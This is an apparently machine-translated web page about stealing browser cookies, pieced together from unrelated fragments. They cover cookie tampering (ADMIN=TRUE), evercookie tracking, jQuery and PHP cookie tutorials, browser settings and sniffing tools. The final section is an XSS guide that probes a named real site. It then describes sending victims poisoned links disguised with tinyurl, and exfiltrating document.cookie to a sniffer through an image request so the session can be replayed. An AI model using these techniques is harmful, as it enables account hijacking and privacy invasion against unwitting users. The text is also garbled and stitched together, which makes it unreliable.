How to get a person's cookies. Cookie theft methods
The picture shows that the cookie contains the string wordpress_logged_in_263d663a02379b7624b1028a58464038=admin. This value is in an unencrypted form in a cookie and is easy to intercept using the Achilles utility, but as a rule, in most cases, only the hash of a particular entry can be seen in Achilles. Before sending a request to the server, you can try to replace this string with any similar one (although in this case it makes no sense) - the number of attempts is not limited. Then, by sending this request to the server using the Send button, you can get a response from the server, destined for the administrator.
In the previous example, you can use direct user ID spoofing. In addition, the name of the parameter whose value substitution provides additional features hacker, can be: user (for example, USER=JDOE), any expression with an ID string (for example, USER=JDOE or SESSIONID=BLAHBLAH), admin (for example, ADMIN=TRUE), session (for example, SESSION=ACTIVE), cart (for example, CART=FULL), as well as expressions such as TRUE, FALSE, ACTIVE, INACTIVE. Usually format cookies very dependent on the application for which they are used. However, these tips for finding application flaws with cookies work for almost all formats.
Countermeasures against extracting information from cookies performed on the client side
AT general case the user should be wary of Web sites that use cookies for authentication and storage of sensitive data. You also need to remember that a Web site that uses cookies for authentication must support at least the SSL protocol for encrypting the username and password, because in the absence of this protocol, the data is transmitted in unencrypted form, which allows them to be intercepted using simple software to view data sent over the network.
Kookaburra Software has developed a tool to facilitate the use of cookies. The tool is called CookiePal ( http://www.kburra.com/cpal.html (See www.kburra.com)). This program is intended to alert the user when a Web site attempts to install a cookie on a machine, and the user can choose to allow or deny this action. Similar cookie blocking features are available in all browsers today.
Another reason for regularly installing web browser updates is the security flaws in these programs that are constantly being discovered. For example, Bennet Haselton and Jamie McCarthy created a script that retrieves cookies from a client's machine when a link is clicked. As a result, all the contents of the cookies that are on the user's machine become available.
This kind of hack can also be done with the descriptor
In order to prevent such things from threatening our personal data, I do it myself and advise everyone to always update software that works with HTML code (e-mail clients, media players, browsers, etc.).
Many people prefer to simply block the receipt of cookies, however, most Web sites require cookies in order to be viewed. Conclusion - if in the near future there will be innovative technology, which allows you to do without cookies, programmers and administrators will breathe a sigh of relief, but for now cookies remain a tasty morsel for a hacker! This is true, because a better alternative does not yet exist.
Server Side Countermeasures
In the case of server security recommendations, experts give one simple advice: do not use the cookie mechanism unless absolutely necessary! Particular care must be taken when using cookies that remain on the user's system after the end of the communication session.
Of course, it is important to understand that cookies can be used to secure Web servers to authorize users. If the application you are developing does need to use cookies, then this mechanism should be configured so that each session uses different keys with a short validity period, and also try not to put information in these files that can be used by hackers for hacking (such as ADMIN=TRUE).
In addition, for greater security when working with cookies, you can use encryption to prevent retrieval important information. Of course, encryption does not solve all security problems with cookie technology, but this method will prevent the most simple hacks described above.
Cookies are a sure technology that allows a website to "remember" the user,
save its settings and do not ask each time for its username and password. Can
think that if you delete cookies in your browser, the site will not recognize you. But this
confidence is deceptive.
You can worry about your anonymity as much as you like, use a proxy
and VPN, forge HTTP request headers that give away the system in use,
browser version, time zone and a sea of other information, but the website doesn't care
there will be ways to recognize the fact that you have already been on it. In many
cases, this is not particularly critical, but not in a situation where, on some
service, you need to introduce yourself as another user or simply save
anonymity. It is easy to imagine how the anti-fraud system of some conditional
financial institution, if it determines that the same computer has been used
authorization under the accounts of completely different people. And is it nice
be aware that someone on the web can track your movements? Hardly. But
about everything in order.
How do cookies work?
Cookies have been used from time immemorial to identify the user.
Cookies (from English "cookies") are a small portion of textual information,
which the server sends to the browser. When the user accesses the server
(types his address in the browser line), the server can read the information,
contained in cookies, and based on its analysis, perform any actions.
For example, in the case of authorized access to something through the web in cookies
the login and password are saved during the session, which allows the user not to
enter them again whenever prompted for each password-protected document. So
so the website can "remember" the user. Technically it looks like
in the following way. When requesting a page, the browser sends a short message to the web server.
HTTP request text.
For example, to access the page www.example.org/index.html the browser
sends the following request to the www.example.org server:
GET /index.html HTTP/1.1
Host: www.example.org
The server responds by sending the requested page along with the text,
containing an HTTP response. It may contain an instruction to the browser to save cookies:
HTTP/1.1 200 OK
content-type: text/html
Set-Cookie: name=value
If there is a Set-cookie string, the browser remembers the string name=value (name=
value) and sends it back to the server with each subsequent request:
GET /spec.html HTTP/1.1
Host: www.example.org
Cookie: name=value
Accept: */*
Everything is very simple. If the server received cookies from the client and it has them in
base, he can definitely process them. Thus, if these were cookies with
some authorization information, the user at the time of the visit will not have
ask for username and password. By default, cookies have a fixed lifetime.
(although it can be very large), after which they die. And any
saved cookies can be easily deleted by the user using
the corresponding option that is in any browser. This fact is strongly
upsets the owners of many resources who do not want to lose touch with
visitor. It is important for them to track him, to understand that "this person was with us
yesterday, and the day before yesterday, etc.". This is especially true for various analyzers
traffic, systems for keeping statistics, banner networks, etc. Here and there
the fun begins, because the developers use all sorts of
tricks that many users are not even aware of. They are on the move
various tricks.
Flash cookies
The thing is that in addition to the usual HTTP "goodies", to which everyone has long
got used to, now alternative storages are actively used, where the browser
can write data on the client side. The first thing to mention is
storage of loved and hated at the same time Flash (for those users who
which it is installed). Data is stored in so-called LSOs (Local Shared
Objects) - files similar to cookies in format, which are saved locally on
user's computer. The approach is in many ways similar to the usual "buns" (in this
case, a small amount is also stored on the user's computer
text data), but has some advantages:
- Flash cookies are common to all browsers on a computer (unlike
from the classic cookie, which is tied to the browser). Settings, information
about the session, as well as, say, some identifier to track the user,
are not tied to any particular browser, but become general for
everyone. - Flash cookies allow you to save much more data (like
usually 100 Kb), which increases the number of user settings,
available for saving.
In practice, LSO is becoming a very simple and affordable tracking technology.
user. Think about it: if I were to suggest that you remove all the "goodies" in
system, would you remember Flash cookies? Probably not. Now try to take
any viewer, for example, free
FlashCookiesView and see how many interesting things are recorded in
Flash storages. A list of sites that really do not want to
lose your trail, even if you clear your browser cache (along with the goodies).
Cookies everywhere with evercookie
But if advanced users have heard about LSO and more or less good
developers, the existence of other data storage techniques is sometimes very
sophisticated (but effective), many do not even suspect. Get some new ones
repositories that appeared in
(session storage,
Local Storage, Global Storage, Database Storage via SQLite), which you can
read in the article "". This problem seriously confused the Polish specialist
Security Officer Samy Kamkar. As a result, a special
The evercookie JavaScript library, which is specifically designed to
create the most tenacious cookies in the browser. Someone may ask: "Why
is it necessary?". Very simple: in order to uniquely identify
page visitor if he comes again. Such hard-to-kill cookies often
are called Tracking cookies and are even defined by some antiviruses as
privacy threat. Evercookie can reduce all attempts to remain anonymous to
zero.
The secret is that evercookie uses everything available to the browser at once.
storage: regular HTTP cookies, LSOs, HTML5 containers. In addition, it goes
a few cunning tricks that, with no less success, allow you to leave on
desired label on the computer. Among them: generation of special PNG-images,
using browser history, storing data using ETag tag, container
userData in Internet Explorer- it turns out that there are a lot of options.
You can see how effective this works on the site.
developer -
http://samy.pl/evercookies. If you click on the "Click to create an
evercookie", cookies will be created in the browser with random number. Try
delete cookies wherever possible. I bet you are now
I thought: "Where else can I delete cookies, except in the browser settings?".
Are you sure you deleted everything? Reload the page to be sure, you can even reload
open browser. Now feel free to click on the "Click to rediscover cookies" button.
wtf? This did not prevent the site from taking data from somewhere - in the fields of the page
the number that was stored in cookies was displayed. But did we lose them? How
did it work out? Let's try to understand some techniques.
Cookies in PNG
An extremely interesting technique used in Evercookie is the approach
storing data in cached PNG images. When evercookie sets
cookies, it refers to the evercookie_png.php script with a special HTTP "bun",
different from the one used to store standard information about
sessions. These special cookies are read by a PHP script that creates
PNG image in which all RGB (color) values are set according to
with session information. Ultimately, the PNG file is sent to the client browser
with a note: "the file must be cached for 20 years".
Having received this data, evercookie deletes the special cookies created earlier.
HTTP cookies, then makes the same request to the same PHP script, but not
providing information about the user. He sees that the data of interest to him
No, and it cannot generate PNG. Instead, the browser returns
fake "304 Not Modified" HTTP response, which causes it to pull the file from
local cache. The image from the cache is inserted into the page using the tag
HTML5 Canvas. Once this happens, evercookie reads every pixel
contents of the Canvas, extracting the RGB values and thus restoring
the original cookie data that was stored in the image. Voila, everything
works.
Hint with Web History
Another technique directly uses the browser history. Once the browser
installs a bun, evercookie encodes data using the Base64 algorithm,
that need to be saved. Suppose this data is a string,
resulting "bcde" after converting to Base64. library sequentially
accesses the following URLs in the background:
google.com/evercookie/cache/b
google.com/evercookie/cache/bc
google.com/evercookie/cache/bcd
google.com/evercookie/cache/bcde
google.com/evercookie/cache/bcde-
Thus, these URLs are stored in history. Next comes a special
trick - CSS History Knocker, which with the help of JS script and CSS allows
check whether the user has visited the specified resource or not (more details here -
samy.pl/csshack). For
bun checks evercookie runs through all possible Base64 characters on
google.com/evercookie/cache starting at "a" and moving on, but only
for one character. As soon as the script sees the URL that was accessed, it
starts iterating over the next character. It turns out a kind of brute force. In practice
this selection is carried out extremely quickly, because no requests to
server are not executed. The search in history is carried out locally to the maximum
short term. The library knows it has reached the end of the line when the URL is
end with "-". We decode Base64 and get our data. How
name the developers of browsers that allow this?
Try to get away
What happens if a user wipes their cookies? An important feature of the library itself
evercookie is that the user will have to work hard to
delete cookies left in different places - now there are 10 of them. If at least one
place where these cookies remain, they will be automatically restored in all other
places. For example, if a user not only deletes their standard cookies, but
and clean up LSO data, clean up HTML5 storage, which is already unlikely, anyway
cookies created with cached PNG and web history will remain. At
next visit to the site with evercookie, the library will not only be able to find
hidden bun, but will also restore them in all other places that
supports client browser. An interesting point is related to the transfer
"buns" between browsers. If the user receives cookies in one browser,
that is, it is more likely that they will be reproduced in others. The only thing
the necessary condition for this is to store the data in the Local Shared Object cookie.
How to use?
The Evercookie library is completely open, so you can freely
use it, customize it to fit your needs. The server is not presented with any
serious requirements. All that is needed is access to the JS script, in which
contains the evercookie code. To use Flash cookies (Local Shared Object),
the folder with the script must contain the evercookie.swf file, and for the technician to work,
based on PNG caching and using ETag storage, you need access to
PHP scripts evercookie_png.php and evercookie_etag.php. Use evercookies
you can on any page of the site by connecting the following script:
What is what here?
« cookie_name» – cookie name;
« cookie_value» – cookie value;
« expires” – the number of days the cookie is stored (in our case, 3 days). After this time, cookies will be automatically deleted;
« path" - the availability of cookies on the site (in our case, " / - available throughout the site). Optionally, you can only set specific page or a section where cookies will be available, for example, " /audio/rock»;
« domain' is the domain on which the cookie is valid. If you have a subdomain, then you can specify it in this parameter, for example, " domain: "subdomain.your_site.com"", in which case the cookie will only be available on the domain " subdomain.your_site.ru»;
« secure' is a parameter indicating that the cookie should be transmitted over the secure https protocol.
Here, not all parameters are mandatory, and in order to set cookies, this construction will be enough:
2. Receiving a Cookie
Getting cookies is quite simple, you can do it using the code:
$.cookie("cookie_name");
Given code can be assigned to a variable and used in your needs:
Agree, it is very convenient.
3. Removing cookies
To delete a cookie value, set it to " null»:
$.cookie("cookie_name", null);
On this, I think, acquaintance with working with Cookies on jQuery is over. This knowledge is enough to implement your ideas.
Detailed instructions for working with Cookies in PHP
Unlike the previous option for working with cookies, you do not need to connect anything here.
1. Cookie setting
In order to install in PHP cookies, we will use the built-in function " setcookie»:
What is what here?
« cookie_name» – cookie name;
« cookie_value» – cookie value;
« time()+3600” – cookie lifetime in seconds (in our case, 1 hour). If we set the lifetime equal to " 0 ”, then the cookie will be deleted as soon as the browser is closed;
« / ” – the section in which cookies are available (in our case, it is available throughout the site). If you want to limit the section in which cookies will be available, then " / » replace, for example, with « /audio/rock»;
« your_site.com» – the domain on which the cookie will be available;
« true' is a parameter indicating that the cookie is available only via the secure https protocol. AT otherwise meaning - false;
« false' is a parameter indicating that the cookie is available to scripting languages. Otherwise, true (only available via http).
Here, too, not all parameters are required, and to create a cookie, you will need the following construction:
For convenience, the cookie value can be set through a variable:
2. Receiving a Cookie
In order to receive cookies, you need to use:
$_COOKIE["cookie_name"];
To avoid errors due to possible absence cookies, use:
As in the previous jQuery Cookie example, cookies can be assigned to a variable:
3. Removing cookies
Deleting cookies in PHP is just as easy as it is in jQuery. All you have to do is set the cookie to an empty value and a negative time (time that has already passed):
Setcookie("cookie_name", "", time() - 3600);
Time in this example equals an hour ago, which is enough to delete cookies.
I want to note that in some cases, using cookies is much more rational than using a database to implement the necessary functionality.
Opera open the main menu, go to the "Settings" section and select the line "General settings ...". And you can just press hot CTRL keys+ F12. This will open the browser settings window, where on the "Advanced" tab you need to click on the "Cookies" section in the left pane. In it, you need to click the "Manage Cookies" button.
AT Mozilla FireFox open the "Tools" section in the menu and select the "Settings" item. In the settings window, you need to go to the "Privacy" tab, find the button there that says "Show Cookies ..." and click it to access the list of cookies stored by the browser. Here they can be searched and viewed.
In Internet Explorer, expand the "Tools" section in the menu and select "Properties". In the property settings window, go to the General tab and click the Options button in the Browsing History section. In this way, you will open another window (“Temporary File Options”), in which you need to click the “Show Files” button.
Click the "Name" heading in the list of contents of the Internet Explorer temporary files folder that opens - this way you can group all cookies into one block in a common pile of heterogeneous files. Here you can find the file of interest and open it in a standard Notepad for viewing or editing.
In Google Chrome, click the wrench icon in the upper right corner of the window and select Options from the menu. The browser will open the "Settings" page, and you click on the "Advanced" link in its left pane and on the advanced settings page, click on the "Content Settings" button. This is not the last page on the way to the cookies stored by this browser.
Click the "All cookies and site data" button on the next page and you will finally have access to the list of cookies.
Google Chrome provides the ability to search, view and delete cookies.
In the Safari browser, click the gear icon on the right upper corner and select the line "Settings ...". In the window for changing settings, you need to go to the "Security" tab in order to click the "Show Cookies" button there. Safari only provides functions for searching and deleting cookies, the contents of these temporary files can only be partially seen here.
My friend forgot the password to one site. However, he previously checked the "Remember me" box at the time of signing in. Google browser Chrome, which allowed him to log into the site under his account. I was asked if this magical state can be transferred to another computer. It would be more correct, of course, to change or restore the password, but the acquaintance could not do this for reasons not related to the case.
How to use intercepter-ng for dummies
Despite the variety of choice of modern software, it is difficult to find programs for hacking for android better than intercepter ng. The first criterion pointing in favor of this product is its actual performance. Most of the proposed sniffers on the network are only an imitation that does not perform the declared functions.
The next positive factors are the versatility of the application and the coverage of a wide audience of users.
Computer help 939-29-71
Let's start in order. Cookies or "cookies" are very small text files - bookmarks with information.
The web server sends this information to the user's browser. where this information is stored until required. Not quite clear. Well. OK.
I'll try to make it even easier. See. you have registered on any site.
At the time of registration, these very "cookies" are created.
Here they are.
Cookie Cadger
The program listens to traffic on the WiFi network, intercepts cookies and replicates the user's session in your browser, repeating requests with his credentials. Author Matthew Sullivan gave a presentation of the program on September 30 at the Derbycon hacker conference. Right during the speech, Matthew Sullivan intercepted an unsecured session with Google of one of the conference attendees via WiFi.
How to steal cookies
If, while on the site page, you enter in the address bar Firefox browser or Opera the following text: javascript:document.write(document.cookie); you will see something like: remixAdminsBar=0; remixGroupType=0; remixpass=********************; remixwall=0; remixInformation=0; remixMembersBar=0; remix description=0; remixautobookmark=8; remixemail=*******; remixmid=23363; remixchk=5; remixaudios=0; remixlinksBar=1; remixOfficersBar=0; remixPhotosBar=0; remixTopicsBar=0; remixvideos=0; remixRecentNews=0; remixAlbumsBar=0 Attention! .
The Complete Guide to Cross-Site Scripting
XSS is a type of vulnerability software, native to Web applications that allows an attacker to inject client-side script into web pages viewed by other users Wikipedia has the following definition for XSS: “Cross-site scripting (XSS) is a type of software vulnerability native to Web applications (by circumventing security restrictions browser)" that allows an attacker to inject client-side script into web pages viewed by other users.
Difference between cookies and sessions
Not so long ago I wrote an article on how to register and authorize users on the site.
". In this article, I'm going to break down the difference between sessions and cookies. to make your final choice.
Cookies. No, it's not about cookies, it's about your safety. So you go to your favorite site "vkontakte" (or, for example, look at mail) on someone else's computer, refuse the "save password" option, happily look through the mail and leave. And do not think about the fact that under your name you can now go to social network or mail.
I don't even consider the situation of a program that remembers a password without you knowing it. This is already a deliberate hack, and you will probably suspect that something like this can happen and you will not go to your favorite site on such a computer. But we can talk about simple human curiosity - we were visiting friends, and then once, and they get the opportunity to read your mail. Are you sure that they will refuse such an opportunity? Aren't you afraid that something will come up? In any case, I will put aside morality issues and just talk about how the information is stored on the computer that you can now be allowed into some site without asking for a password.
how to steal cookies
And the name of this technology is cookies.
And this is where it all started. The http protocol, on which, in fact, you browse sites (including this one) did not initially imply the possibility of maintaining a connection. That is, roughly speaking, you send a request to the site, get a response, it is displayed on the screen, and then the server does not remember anything about you. Of course, it's good when the site is purely informational and should not remember anything about you, but we live in the Web 2.0 age 😉 The natural development of the protocol is POST and GET requests, when you send some data, the server can write it to the database, but this is not enough.
Let's look at a very simple example. Forum. So you registered, and there is a record on the forum that there is such and such a user with such and such a password and some other additional data. But now you go to the forum and log in - enter your password. Somewhere there should be information that you are logged in. On server? Of course not! It is impossible to save information on the server that authorization was made from your computer - it will not be able to distinguish you from someone else (even your IP address does not uniquely identify you)! Thus, information that authorization has occurred must be stored on your computer. That's what cookies are for, that's what they were created for.
A cookie is a small record on your computer that stores information about the site you have visited. Upon authorization, a similar entry is created, after which you can already walk around the forum, and it will recognize you. However, this will already happen automatically - thanks to the information stored in the cookie - so pretending that you are the main administrator of the forum will still not work bypassing the password verification.
Now we can return to where this article began. If you logged in somewhere without even saving your password, then it may happen that an entry has been created on the computer that now allows you to enter this resource under your name without authorization. Such an entry itself will become obsolete after a while, but you can force it to be cleared. Each browser does this differently, I'll show you how it can be done in mine. favorite Google Chrome. Opening the options
Go to the "advanced" tab and find the "show cookies" button
Now, of course, you can delete all cookies, but this can upset the computer owner. Therefore, for example, in the upper field you can enter the name of the site you are interested in
Then only the cookies related to this site can be cleared. You can try mine. Moreover, if you log in to my forum, and then clear your cookies, then the authorization information will be forgotten. Try it!
comments powered by
1. What is XSS
An XSS type vulnerability allows inserting arbitrary javascript code into the body of a page. An XSS attack differs from others (eg SQL injection or PHP injection) in that it acts not on the server, but on the client.
how to steal cookies
With its help, you cannot view database tables, upload a shell, etc. The most common use of XSS is to steal cookies.
Cookies (Cookies) - a small piece of data created by a web server and stored on the user's computer as a file. Typically, cookies are used to store accounts, and, most often, they contain an encoded password, login, and session ID. (Though not always)
XSS are of two types, active and passive.
Passive XSS require the victim to directly participate, for example, follow a link containing javascript code. When using this type of XSS, you cannot do without SI (Social Engineering)
Active XSS do not require any participation from the victim, she just needs to go to the page with XSS. Active XSS can be, for example, in forum posts, chats, in adding news, etc.
2.Search XSS
In this paragraph, I will tell you how to find xss
2.1 Passive XSS
To find passive XSS, just substitute in the input form if the script worked and the message "xss" appeared, then the vulnerability is present, if the script did not work, you can still try ">, this is probably the most common xss vulnerability. If neither one nor the other script worked, then there is most likely no vulnerability.
Let's look at an example.
http://miss.rambler.ru/srch/?sort=0& … amp;words=
See the "search" form? put in there "> and click "find"
A window with xss flew out, which means xss is present. (Perhaps at the time you read this article, this xss will already be fixed)
2.2 Active XSS
Such CSS can be, for example, in profile fields, when adding news in the name of the news and in the news itself (less often), in messages on forums / chats / guestbooks with html enabled. Everything is simple here, we enter the script from the previous subparagraph into the fields, and if the message is displayed on the screen, then the vulnerability is present.
Consider xss in BB tags on the forums.
you can try to stupidly insert javascript code into the tag, like this:
javascript:alert('xss')
Some tags have parameters, for example, the tag has dynsrc and lowsrc parameters, let's try to substitute the code like this:
http://www.site.ru/image.jpg dynsrc=javascript:alert('xss')
If the script worked, xss is
3.Using XSS to steal cookies
Now the most delicious
In order to steal cookies, we need a web sniffer, you can install some kind of sniffer on your hosting, or you can use an online sniffer, which are now full.
To steal cookies through passive XSS, the victim needs to follow a poisonous link. To steal cookies we will use instead another script:
we substitute the script in the link and let the victim follow it, see the sniffer log and rejoice.
Let's look at an example.
Let's take that XSS on the rambler from the previous paragraph.
Paste
">
in the search form, click "find", look at the address bar and see:
http://miss.rambler.ru/srch/?sort=0& … &words =">
We throw this link to the victim and enjoy the cookies.
Seeing such a link, the victim may suspect something, so it is advisable to encode
">
in URL Or use services like http://tinyurl.com/
Let's move on to active XSS, everything is simple here, instead of alert() we insert img = new Image(); img.src = "sniffer image address"+document.cookie;
Now we have cookies. But what to do with them? It's simple, they must be substituted instead of their own. AT Opera browser there is a built-in cookie editor (tools-> advanced-> cookie management), there is a plugin for firefox (I don’t remember the name, use google)
That's all for now, perhaps the article will be supplemented
